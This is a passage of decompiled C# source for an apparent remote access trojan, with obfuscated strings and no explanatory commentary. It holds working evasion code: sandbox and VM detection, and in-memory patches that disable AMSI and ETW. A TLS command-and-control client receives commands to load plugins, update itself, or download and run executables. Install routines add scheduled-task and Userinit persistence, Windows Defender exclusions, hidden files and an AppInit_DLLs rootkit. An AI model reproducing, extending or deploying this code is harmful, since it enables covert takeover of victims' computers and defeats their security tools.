			try
			{
				ManagementObject val = (from p in ((IEnumerable)new ManagementObjectSearcher("m''Nk+=(:p", "!tCt+\"^&^*[G(^nUI.pd+'_J/N@m!qAN@_").Get()).OfType<ManagementObject>()
					where p != null
					select p).FirstOrDefault();
				if (((ManagementBaseObject)val)[EncryptString.Decode("('P@?")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("('P@?")].ToString().ToLower()))
				{
					return true;
				}
				if (((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")] != null && source.Contains(((ManagementBaseObject)val)[EncryptString.Decode("(OI/zOYN/m@m")].ToString().ToLower()))
				{
					return true;
				}
			}
			catch
			{
			}
			return false;
		}

		public static bool SmallDiskDetected()
		{
			try
			{
				long num = GetTotalSize(Path.GetPathRoot(Environment.SystemDirectory).Substring(0, 1)) / 1000000000;
				long num2 = 45L;
				return num < num2;
			}
			catch
			{
				return false;
			}
		}

		public static long GetTotalSize(string driveLetter)
		{
			long lpFreeBytesAvailable = 0L;
			long lpTotalNumberOfBytes = 0L;
			long lpTotalNumberOfFreeBytes = 0L;
			DllImport.GetDiskFreeSpaceEx(driveLetter + EncryptString.Decode("#k"), ref lpFreeBytesAvailable, ref lpTotalNumberOfBytes, ref lpTotalNumberOfFreeBytes);
			return lpTotalNumberOfBytes;
		}

		public static bool EnvironmentDetected()
		{
			string path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), EncryptString.Decode("PmU}@mA"));
			string[] array = new string[10]
			{
				EncryptString.Decode("QO??''IxAqA"),
				EncryptString.Decode("I@N }_xAqA"),
				EncryptString.Decode("J}JOIUYxAqA"),
				EncryptString.Decode("}U'zAxAqA"),
				EncryptString.Decode("}U'zAxAqA"),
				EncryptString.Decode("}U'FJ/P'xAqA"),
				EncryptString.Decode("}U'UIJ/NxAqA"),
				EncryptString.Decode("}U'mIFxAqA"),
				EncryptString.Decode("}U'A@mxAqA"),
				EncryptString.Decode("}U'AN'mxAqA")
			};
			foreach (string path2 in array)
			{
				if (File.Exists(Path.Combine(path, path2)))
				{
					return true;
				}
			}
			string path3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles));
			array = new string[2]
			{
				EncryptString.Decode("H@_/6FO"),
				EncryptString.Decode("!c=+t^b/@AN^\"''?A")
			};
			foreach (string path4 in array)
			{
				if (Directory.Exists(Path.Combine(path3, path4)))
				{
					return true;
				}
			}
			return Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName).ToLower().Contains(EncryptString.Decode("AOIPQ')"));
		}
	}

	internal class AsmiAndETW
	{
		public static byte[] x64_etw_patch = new byte[4] { 72, 51, 192, 195 };

		public static byte[] x86_etw_patch = new byte[5] { 51, 192, 194, 20, 0 };

		public static byte[] x64_am_si_patch = new byte[12]
		{
			184, 52, 18, 7, 128, 102, 184, 50, 0, 176,
			87, 195
		};

		public static byte[] x86_am_si_patch = new byte[8] { 184, 87, 0, 7, 128, 194, 24, 0 };

		private static void PatchAmsi(byte[] patch)
		{
			string text = EncryptString.Decode("O_AUxP??");
			bool flag = true;
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (module.ModuleName == text)
				{
					PatchMem(patch, text, EncryptString.Decode("v_AU!YOIl/zz@m"));
					flag = false;
					break;
				}
			}
			if (flag)
			{
				AggresivAmsiActivate(patch, text);
			}
		}

		private static void AggresivAmsiActivate(byte[] patch, string dll)
		{
			byte[] array = new byte[new Random().Next(1, 100)];
			new Random().NextBytes(array);
			Assembly assembly = Assembly.Load(array);
			try
			{
				assembly.EntryPoint.Invoke(null, null);
			}
			catch
			{
			}
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (module.ModuleName == dll)
				{
					PatchMem(patch, dll, EncryptString.Decode("v_AU!YOIl/zz@m"));
				}
			}
		}

		private static void PatchETW(byte[] Patch)
		{
			PatchMem(Patch, EncryptString.Decode("INP??xP??"), EncryptString.Decode("tNft}@INnmUN@"));
		}

		private static void PatchMem(byte[] patch, string library, string function)
		{
			try
			{
				IntPtr processHandle = new IntPtr(-1);
				IntPtr BaseAddress = DInvokeCore.GetExportAddress((from ProcessModule x in Process.GetCurrentProcess().Modules
					where library.Equals(Path.GetFileName(x.FileName), StringComparison.OrdinalIgnoreCase)
					select x).FirstOrDefault().BaseAddress, function);
				IntPtr RegionSize = new IntPtr(patch.Length);
				uint OldProtect = 0u;
				DllImport.NtProtectVirtualMemory(processHandle, ref BaseAddress, ref RegionSize, 64u, ref OldProtect);
				Marshal.Copy(patch, 0, BaseAddress, patch.Length);
			}
			catch
			{
			}
		}

		public static void Bypass()
		{
			if (Config.AntiVirus.ToLower().Contains(EncryptString.Decode("O}OAN")))
			{
				return;
			}
			try
			{
				if (IntPtr.Size != 4)
				{
					PatchAmsi(x64_am_si_patch);
					PatchETW(x64_etw_patch);
				}
				else
				{
					PatchAmsi(x86_am_si_patch);
					PatchETW(x86_etw_patch);
				}
			}
			catch
			{
			}
		}
	}

	public class Client
	{
		public Socket socket;

		public SslStream SslClient;

		public byte[] ClientBuffer;

		public bool ClientBufferRecevied;

		public int HeaderSize;

		public int Offset;

		public object SendSync;

		public bool itsConnect;

		public PingChecker pingChecker;

		public LastPing lastPing;

		public void Connect(string ip, string port)
		{
			try
			{
				socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
				socket.ReceiveBufferSize = 512000;
				socket.SendBufferSize = 512000;
				socket.Connect(ip, Convert.ToInt32(port));
				if (socket.Connected)
				{
					SendSync = new object();
					SslClient = new SslStream(new NetworkStream(socket, ownsSocket: true), leaveInnerStreamOpen: false, ValidateServerCertificate);
					SslClient.AuthenticateAsClient(socket.RemoteEndPoint.ToString().Split(new char[1] { ':' })[0], null, SslProtocols.Tls, checkCertificateRevocation: false);
					Offset = 0;
					HeaderSize = 4;
					ClientBuffer = new byte[HeaderSize];
					ClientBufferRecevied = false;
					SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
				}
				itsConnect = socket.Connected;
			}
			catch (Exception)
			{
				itsConnect = false;
			}
		}

		private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
		{
			return Config.ServerCertificate.Equals(certificate);
		}

		public void Disconnect()
		{
			itsConnect = false;
			ClientBuffer = null;
			HeaderSize = 0;
			Offset = 0;
			if (pingChecker != null)
			{
				pingChecker.Disconnect();
			}
			if (lastPing != null)
			{
				lastPing.Disconnect();
			}
			if (socket != null)
			{
				socket.Dispose();
			}
			if (SslClient != null)
			{
				SslClient.Dispose();
			}
		}

		public void ReadData(IAsyncResult ar)
		{
			if (!itsConnect)
			{
				return;
			}
			try
			{
				int num = SslClient.EndRead(ar);
				if (num > 0)
				{
					HeaderSize -= num;
					Offset += num;
					if (!ClientBufferRecevied)
					{
						ProcessClientBufferNotReceived();
					}
					else
					{
						ProcessClientBufferReceived();
					}
					if (itsConnect)
					{
						SslClient.BeginRead(ClientBuffer, Offset, HeaderSize, ReadData, null);
					}
				}
				else
				{
					itsConnect = false;
				}
			}
			catch (Exception)
			{
				itsConnect = false;
			}
		}

		public void ProcessClientBufferReceived2()
		{
			Offset = 0;
			HeaderSize = 4;
			ClientBuffer = new byte[HeaderSize];
			ClientBufferRecevied = false;
		}

		public void ProcessClientBufferReceived1()
		{
			new Thread(Read).Start(ClientBuffer);
			ProcessClientBufferReceived2();
		}

		public void ProcessClientBufferReceived()
		{
			if (HeaderSize == 0)
			{
				ProcessClientBufferReceived1();
			}
			else if (HeaderSize < 0)
			{
				itsConnect = false;
			}
		}

		public void ProcessClientBufferNotReceived1()
		{
			HeaderSize = BitConverter.ToInt32(ClientBuffer, 0);
			if (HeaderSize > 0)
			{
				ClientBuffer = new byte[HeaderSize];
				Offset = 0;
				ClientBufferRecevied = true;
			}
		}

		public void ProcessClientBufferNotReceived()
		{
			if (HeaderSize == 0)
			{
				ProcessClientBufferNotReceived1();
			}
			else if (HeaderSize < 0)
			{
				itsConnect = false;
			}
		}

		public void Error(string exp)
		{
			Send(LEB128.Write(new object[2]
			{
				EncryptString.Decode("tmm'm"),
				exp
			}));
		}

		public void Send(byte[] Data)
		{
			if (!itsConnect)
			{
				return;
			}
			lock (SendSync)
			{
				try
				{
					byte[] bytes = BitConverter.GetBytes(Data.Length);
					byte[] array = new byte[4 + Data.Length];
					Array.Copy(bytes, 0, array, 0, bytes.Length);
					Array.Copy(Data, 0, array, 4, Data.Length);
					socket.Poll(-1, SelectMode.SelectWrite);
					SslClient.Write(array, 0, array.Length);
					SslClient.Flush();
				}
				catch (Exception)
				{
					itsConnect = false;
				}
			}
		}

		public void Read(object data)
		{
			object[] array = LEB128.Read((byte[])data);
			if (lastPing != null)
			{
				lastPing.Last();
			}
			if ((string)array[0] == EncryptString.Decode("=I}' @"))
			{
				PluginLoader.Invoke(array, this);
			}
			if ((string)array[0] == EncryptString.Decode("!O}@=I}' @"))
			{
				PluginLoader.SaveInvoke(array, this);
			}
			if ((string)array[0] == EncryptString.Decode("c'IF"))
			{
				pingChecker.Stop(this);
			}
			if ((string)array[0] == EncryptString.Decode("t)UN"))
			{
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("[@ANOmN"))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
				processStartInfo.UseShellExecute = false;
				processStartInfo.CreateNoWindow = true;
				processStartInfo.RedirectStandardOutput = true;
				processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo.FileName = EncryptString.Decode("Y_P");
				processStartInfo.Arguments = EncryptString.Decode("a ^NU_@'/N^X^L^2]C^00^D") + Methods.GetExecutablePath() + EncryptString.Decode("D");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo.Verb = EncryptString.Decode("m/IOA");
				}
				Process process = new Process();
				process.StartInfo = processStartInfo;
				process.Start();
				Thread.Sleep(new Random().Next(2000, 3000));
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("]IUIANO??"))
			{
				if (Config.Install == EncryptString.Decode("zO?A@"))
				{
					Methods.Exit();
				}
				ProcessStartInfo processStartInfo2 = new ProcessStartInfo();
				processStartInfo2.UseShellExecute = false;
				processStartInfo2.CreateNoWindow = true;
				processStartInfo2.RedirectStandardOutput = true;
				processStartInfo2.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo2.FileName = Install.Uninstall();
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo2.Verb = EncryptString.Decode("m/IOA");
				}
				Process process2 = new Process();
				process2.StartInfo = processStartInfo2;
				process2.Start();
				Thread.Sleep(2000);
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("]JPON@"))
			{
				string text = Path.GetTempFileName() + EncryptString.Decode("x@)@");
				File.WriteAllBytes(text, (byte[])array[1]);
				ProcessStartInfo processStartInfo3 = new ProcessStartInfo();
				processStartInfo3.UseShellExecute = false;
				processStartInfo3.CreateNoWindow = true;
				processStartInfo3.RedirectStandardOutput = true;
				processStartInfo3.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo3.FileName = EncryptString.Decode("Y_P");
				processStartInfo3.Arguments = EncryptString.Decode("a ^NU_@'/N^K<^L^2]C^00^D") + text + EncryptString.Decode("D");
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo3.Verb = EncryptString.Decode("m/IOA");
				}
				Process process3 = new Process();
				process3.StartInfo = processStartInfo3;
				process3.Start();
				string fileName = Install.Uninstall();
				if (Config.Install == EncryptString.Decode("zO?A@"))
				{
					Methods.Exit();
				}
				ProcessStartInfo processStartInfo4 = new ProcessStartInfo();
				processStartInfo4.UseShellExecute = false;
				processStartInfo4.CreateNoWindow = true;
				processStartInfo4.RedirectStandardOutput = true;
				processStartInfo4.WindowStyle = ProcessWindowStyle.Hidden;
				processStartInfo4.FileName = fileName;
				if (Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					processStartInfo4.Verb = EncryptString.Decode("m/IOA");
				}
				Process process4 = new Process();
				process4.StartInfo = processStartInfo4;
				process4.Start();
				Thread.Sleep(2000);
				Methods.Exit();
			}
			if ((string)array[0] == EncryptString.Decode("!N/Q]JPON@"))
			{
				Updater.Main();
			}
		}
	}

	public class Delegates
	{
		public delegate IntPtr DSBnjin8bs92nbjfsdi(string lpModuleName);

		public delegate IntPtr dsUinnb8sdn9g8bngs();

		public delegate int buhsdINJOMF9nuijm(IntPtr hWnd, StringBuilder text, int count);

		public delegate uint gdfudsin8shd2(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect);

		public delegate bool gvSUDINJons29fg(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes);

		public delegate DllImport.EXECUTION_STATE dsGFGdg(DllImport.EXECUTION_STATE esFlags);
	}

	public class DInvokeCore
	{
		public static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
		{
			IntPtr loadedModuleAddress = GetLoadedModuleAddress(DLLName);
			if (loadedModuleAddress == IntPtr.Zero)
			{
				throw new DllNotFoundException(DLLName);
			}
			return GetExportAddress(loadedModuleAddress, FunctionName);
		}

		public static IntPtr GetLoadedModuleAddress(string DLLName)
		{
			foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
			{
				if (string.Compare(module.ModuleName, DLLName, ignoreCase: true) == 0)
				{
					return module.BaseAddress;
				}
			}
			return IntPtr.Zero;
		}

		public static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
		{
			IntPtr intPtr = IntPtr.Zero;
			try
			{
				int num = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 60));
				Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num + 20));
				long num2 = ModuleBase.ToInt64() + num + 24;
				long num3 = ((Marshal.ReadInt16((IntPtr)num2) != 267) ? (num2 + 112) : (num2 + 96));
				int num4 = Marshal.ReadInt32((IntPtr)num3);
				int num5 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 16));
				Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 20));
				int num6 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 24));
				int num7 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 28));
				int num8 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 32));
				int num9 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num4 + 36));
				for (int i = 0; i < num6; i++)
				{
					if (Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num8 + i * 4)))).Equals(ExportName, StringComparison.OrdinalIgnoreCase))
					{
						int num10 = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + num9 + i * 2)) + num5;
						int num11 = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + num7 + 4 * (num10 - num5)));
						intPtr = (IntPtr)((long)ModuleBase + num11);
						break;
					}
				}
			}
			catch
			{
				throw new Exception();
			}
			if (intPtr == IntPtr.Zero)
			{
				throw new Exception(ExportName);
			}
			return intPtr;
		}

		public static object DynamicAPIInvoke(string DLLName, string FunctionName, Type FunctionDelegateType, ref object[] Parameters)
		{
			IntPtr libraryAddress = GetLibraryAddress(DLLName, FunctionName);
			if (libraryAddress == IntPtr.Zero)
			{
				throw new Exception();
			}
			return DynamicFunctionInvoke(libraryAddress, FunctionDelegateType, ref Parameters);
		}

		public static object DynamicFunctionInvoke(IntPtr FunctionPointer, Type FunctionDelegateType, ref object[] Parameters)
		{
			return Marshal.GetDelegateForFunctionPointer(FunctionPointer, FunctionDelegateType).DynamicInvoke(Parameters);
		}
	}

	public static class DllImport
	{
		public enum EXECUTION_STATE : uint
		{
			ES_CONTINUOUS = 2147483648u,
			ES_DISPLAY_REQUIRED = 2u,
			ES_SYSTEM_REQUIRED = 1u
		}

		public static int GetModuleHandleA(string lpModuleName)
		{
			object[] Parameters = new object[1] { lpModuleName };
			return ((IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@N('P/?@8OIP?@v"), typeof(Delegates.DSBnjin8bs92nbjfsdi), ref Parameters)).ToInt32();
		}

		public static EXECUTION_STATE SetThreadExecutionState(EXECUTION_STATE esFlags)
		{
			object[] Parameters = new object[1] { esFlags };
			return (EXECUTION_STATE)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("!@N\"Em@OPt)@Y/NU'I!NON@"), typeof(Delegates.dsGFGdg), ref Parameters);
		}

		public static IntPtr GetForegroundWindow()
		{
			object[] Parameters = new object[0];
			return (IntPtr)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@N*'m@Fm'/IPnUIP'f"), typeof(Delegates.dsUinnb8sdn9g8bngs), ref Parameters);
		}

		public static int GetWindowText(IntPtr hWnd, StringBuilder text, int count)
		{
			object[] Parameters = new object[3] { hWnd, text, count };
			return (int)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("/[email protected]??"), EncryptString.Decode("b@NnUIP'f\"@)Nv"), typeof(Delegates.buhsdINJOMF9nuijm), ref Parameters);
		}

		public static bool GetDiskFreeSpaceEx(string lpDirectoryName, ref long lpFreeBytesAvailable, ref long lpTotalNumberOfBytes, ref long lpTotalNumberOfFreeBytes)
		{
			object[] Parameters = new object[4] { lpDirectoryName, lpFreeBytesAvailable, lpTotalNumberOfBytes, lpTotalNumberOfFreeBytes };
			bool result = (bool)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode(" @mI@?.pxP??"), EncryptString.Decode("b@NRUA *m@@!JOY@t)"), typeof(Delegates.gvSUDINJons29fg), ref Parameters);
			lpFreeBytesAvailable = (long)Parameters[1];
			lpTotalNumberOfBytes = (long)Parameters[2];
			lpTotalNumberOfFreeBytes = (long)Parameters[3];
			return result;
		}

		public static bool NtProtectVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, ref IntPtr RegionSize, uint NewProtect, ref uint OldProtect)
		{
			OldProtect = 0u;
			object[] Parameters = new object[5] { ProcessHandle, BaseAddress, RegionSize, NewProtect, OldProtect };
			if ((uint)DInvokeCore.DynamicAPIInvoke(EncryptString.Decode("INP??xP??"), EncryptString.Decode("2Ncm'N@YN:UmN/O?(@_'mq"), typeof(Delegates.gdfudsin8shd2), ref Parameters) != 0)
			{
				return false;
			}
			OldProtect = (uint)Parameters[4];
			return true;
		}
	}

	internal class EncryptString
	{
		public static string enc = "\\;KVo+F8|.gLCMY6*etclU(4q)}S&nZB`Q'>TX%ayW2@9[E/_G\"!1{v~]PxD0ikrIuOdm=J,5^f<$j7HN#zbh-sp3:w RA?";

		public static string dec = "kST:',*oMxFC+(3u&@NY?]-~HZV!0I9les$L\"hgOqnp1>|tadbD;Ki}75c)R<U m=/GP_`w%X{z\\BrW82yjQE6AJ.#f^[v4";

		public static string Decode(string text)
		{
			string text2 = "";
			foreach (char c in text)
			{
				for (int j = 0; j < dec.Length; j++)
				{
					if (dec[j] == c)
					{
						text2 += enc[j];
						break;
					}
				}
			}
			return text2;
		}
	}

	internal class HwidGenerator
	{
		public static string hwid()
		{
			if (SetRegistry.CheckValue(EncryptString.Decode("8fUP")))
			{
				return SetRegistry.GetValue(EncryptString.Decode("8fUP"));
			}
			MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
			byte[] bytes = Encoding.ASCII.GetBytes(Inf());
			bytes = mD5CryptoServiceProvider.ComputeHash(bytes);
			return ByteToStr(bytes);
		}

		private static string ByteToStr(byte[] buffer)
		{
			StringBuilder stringBuilder = new StringBuilder();
			foreach (byte b in buffer)
			{
				stringBuilder.Append(b.ToString(EncryptString.Decode(")p")));
			}
			return stringBuilder.ToString();
		}

		private static string identifier(string wmiClass, string wmiProperty)
		{
			//IL_0007: Unknown result type (might be due to invalid IL or missing references)
			//IL_001f: Unknown result type (might be due to invalid IL or missing references)
			//IL_0025: Expected O, but got Unknown
			string text = "";
			ManagementObjectEnumerator enumerator = new ManagementClass(wmiClass).GetInstances().GetEnumerator();
			try
			{
				while (enumerator.MoveNext())
				{
					ManagementObject val = (ManagementObject)enumerator.Current;
					if (text == "")
					{
						try
						{
							text = ((ManagementBaseObject)val)[wmiProperty].ToString();
						}
						catch
						{
							continue;
						}
						break;
					}
				}
			}
			finally
			{
				((IDisposable)enumerator)?.Dispose();
			}
			return text;
		}

		private static string Inf()
		{
			return identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("('P@?")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("(OI/zOYN/m@m")) + identifier(EncryptString.Decode("nUI.pdRUA RmU}@"), EncryptString.Decode("2O_@")) + identifier(EncryptString.Decode("nUI.pdcm'Y@AA'm"), EncryptString.Decode("2O_@")) + Config.WindowsVersion + Config.Gpu + Config.DataInstall + Environment.ProcessorCount;
		}
	}

	internal class Install
	{
		public static bool Installing = true;

		public static void Run()
		{
			if (Config.UseInstallAdmin == EncryptString.Decode("Nm/@") && Config.Privilege == EncryptString.Decode("]A@m"))
			{
				if (TaskCheck(Config.TaskClient) && File.Exists(Config.PathClient))
				{
					RunTask(Config.TaskClient);
					Methods.Exit();
				}
				if (Config.InstallWatchDog != EncryptString.Decode("zO?A@") && TaskCheck(Config.TaskWatchDog) && File.Exists(Config.PathWatchDog))
				{
					RunTask(Config.TaskClient);
					Methods.Exit();
				}
				while (true)
				{
					ProcessStartInfo startInfo = new ProcessStartInfo(Methods.GetExecutablePath())
					{
						Verb = EncryptString.Decode("m/IOA")
					};
					try
					{
						Process.Start(startInfo);
						Methods.Exit();
					}
					catch
					{
					}
				}
			}
			if (Config.InstallWatchDog == EncryptString.Decode("Nm/@") && Methods.GetExecutablePath() == Config.PathWatchDog)
			{
				Loop();
			}
			if (Config.PathClient != Methods.GetExecutablePath())
			{
				Loop();
			}
			new Thread((ThreadStart)delegate
			{
				Loop();
			}).Start();
		}

		public static void CopyFile(string sourceFilePath, string destinationFilePath)
		{
			using FileStream fileStream = new FileStream(sourceFilePath, FileMode.Open, FileAccess.Read);
			using FileStream fileStream2 = new FileStream(destinationFilePath, FileMode.Create, FileAccess.Write);
			byte[] array = new byte[1024];
			int count;
			while ((count = fileStream.Read(array, 0, array.Length)) > 0)
			{
				fileStream2.Write(array, 0, count);
			}
			if (Config.Pump == EncryptString.Decode("Nm/@"))
			{
				fileStream2.SetLength(fileStream2.Length + new Random().Next(700, 750) * 1024 * 1024);
			}
		}

		public static void Loop()
		{
			while (Installing)
			{
				if (!Directory.Exists(Path.GetDirectoryName(Config.PathClient)))
				{
					Directory.CreateDirectory(Path.GetDirectoryName(Config.PathClient));
				}
				if (!File.Exists(Config.PathClient))
				{
					CopyFile(Methods.GetExecutablePath(), Config.PathClient);
					if (Config.ExclusionWD != EncryptString.Decode("zO?A@"))
					{
						WindowsDefenderExclusion.Exc(Config.PathClient);
					}
					netSh(Config.PathClient, EncryptString.Decode("nUIP'fA+'INm'?"));
				}
				Schtasks(Config.PathClient, Config.TaskClient, 1);
				if (Convert.ToBoolean(Config.UserInit))
				{
					UserINIT(Config.PathClient);
				}
				if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
				{
					SecrityHidden.HiddenFile(Config.PathClient);
				}
				if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
				{
					if (!Directory.Exists(Path.GetDirectoryName(Config.PathWatchDog)))
					{
						Directory.CreateDirectory(Path.GetDirectoryName(Config.PathWatchDog));
					}
					if (!File.Exists(Config.PathWatchDog))
					{
						CopyFile(Methods.GetExecutablePath(), Config.PathWatchDog);
						if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
						{
							WindowsDefenderExclusion.Exc(Config.PathWatchDog);
						}
					}
					Schtasks(Config.PathWatchDog, Config.TaskWatchDog, 30);
					if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
					{
						SecrityHidden.HiddenFile(Config.PathWatchDog);
					}
					if (Methods.GetExecutablePath() == Config.PathWatchDog)
					{
						Methods.Exit();
					}
				}
				if (Config.RootKit != EncryptString.Decode("zO?A@") && Config.Privilege == EncryptString.Decode("vP_UI"))
				{
					string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
					if (!File.Exists(path))
					{
						File.WriteAllBytes(path, Xor.DecodEncod(Methods.GetResourceFile(Config.RootKit), Encoding.ASCII.GetBytes(Config.Key)));
						if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
						{
							SecrityHidden.HiddenFile(path);
						}
						if (Config.ExclusionWD == EncryptString.Decode("Nm/@"))
						{
							WindowsDefenderExclusion.Exc(path);
						}
						AddRootkit(path);
					}
				}
				if (Config.PathClient != Methods.GetExecutablePath())
				{
					ProcessStartInfo processStartInfo = new ProcessStartInfo();
					processStartInfo.FileName = Config.PathClient;
					if (Config.Privilege == EncryptString.Decode("vP_UI"))
					{
						processStartInfo.Verb = EncryptString.Decode("m/IOA");
					}
					Process process = new Process();
					process.StartInfo = processStartInfo;
					process.Start();
					Methods.Exit();
				}
				if (!MutexControl.createdNew && Mutex.OpenExisting(Config.Mutex) != null)
				{
					Methods.Exit();
				}
				Thread.Sleep(5000);
			}
		}

		public static void RmRootkit()
		{
			using (RegistryKey registryKey = Registry.LocalMachine)
			{
				RegistryKey? registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
					.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
					.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
				registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), "");
				registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
				registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
			}
			Process.Start(new ProcessStartInfo
			{
				UseShellExecute = false,
				CreateNoWindow = true,
				RedirectStandardOutput = true,
				WindowStyle = ProcessWindowStyle.Hidden,
				FileName = EncryptString.Decode("Y_P"),
				Verb = EncryptString.Decode("m/IOA"),
				Arguments = EncryptString.Decode("a+^NOA  U??^aU_^@)J?'m@mx@)@^az^00^\"U_@G/N^p^00^ANOmN^@)J?'m@mx@)@")
			});
		}

		public static void AddRootkit(string fullpath)
		{
			using RegistryKey registryKey = Registry.LocalMachine;
			RegistryKey registryKey2 = registryKey.OpenSubKey(EncryptString.Decode("!G*\"nv[t")).OpenSubKey(EncryptString.Decode("(UYm'A'zN")).OpenSubKey(EncryptString.Decode("nUIP'fA^2\""))
				.OpenSubKey(EncryptString.Decode("+/mm@IN:@mAU'I"))
				.OpenSubKey(EncryptString.Decode("nUIP'fA"), writable: true);
			if (registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == null || !((string)registryKey2.GetValue(EncryptString.Decode("vJJ=IUNdRCCA")) == fullpath))
			{
				registryKey2.SetValue(EncryptString.Decode("vJJ=IUNdRCCA"), fullpath);
				registryKey2.SetValue(EncryptString.Decode("C'OPvJJ=IUNdRCCA"), 1, RegistryValueKind.DWord);
				registryKey2.SetValue(EncryptString.Decode("[@H/Um@!UFI@PvJJ=IUNdRCCA"), 0, RegistryValueKind.DWord);
			}
		}

		public static string Uninstall()
		{
			Installing = false;
			Thread.Sleep(2000);
			string text = Path.GetTempFileName() + EncryptString.Decode("xQON");
			string text2 = EncryptString.Decode("NU_@'/N^K<^L^2]C") + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathClient) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathClient) + EncryptString.Decode("D^az^aH");
			DeletingTask(Config.TaskClient);
			if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
			{
				SecrityHidden.Unlock(Config.PathClient);
			}
			if (Convert.ToBoolean(Config.UserInit))
			{
				UserINIT(Config.PathClient);
			}
			if (Config.InstallWatchDog == EncryptString.Decode("Nm/@"))
			{
				DeletingTask(Config.TaskWatchDog);
				if (Config.HiddenFile != EncryptString.Decode("zO?A@"))
				{
					SecrityHidden.Unlock(Config.PathWatchDog);
				}
				File.Delete(Config.PathWatchDog);
				text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(Config.PathWatchDog) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(Config.PathWatchDog) + EncryptString.Decode("D^az^aH");
			}
			if (Config.RootKit != EncryptString.Decode("zO?A@"))
			{
				RmRootkit();
				string path = Methods.GetPath(EncryptString.Decode("gnUIP'fAgk)PfPxP??"));
				if (Config.HiddenFile == EncryptString.Decode("Nm/@"))
				{
					SecrityHidden.Unlock(path);
				}
				text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(path) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(path) + EncryptString.Decode("D^az^aH");
			}
			text2 = text2 + EncryptString.Decode("+R^D") + Path.GetDirectoryName(text) + EncryptString.Decode("D") + EncryptString.Decode("RtC^D") + Path.GetFileName(text) + EncryptString.Decode("D^az^aH");
			File.WriteAllText(text, text2);
			return text;
		}

		public static void netSh(string path, string name)
		{
			if (!(Config.Privilege == EncryptString.Decode("]A@m")))
			{
				ProcessStartInfo processStartInfo = new ProcessStartInfo();
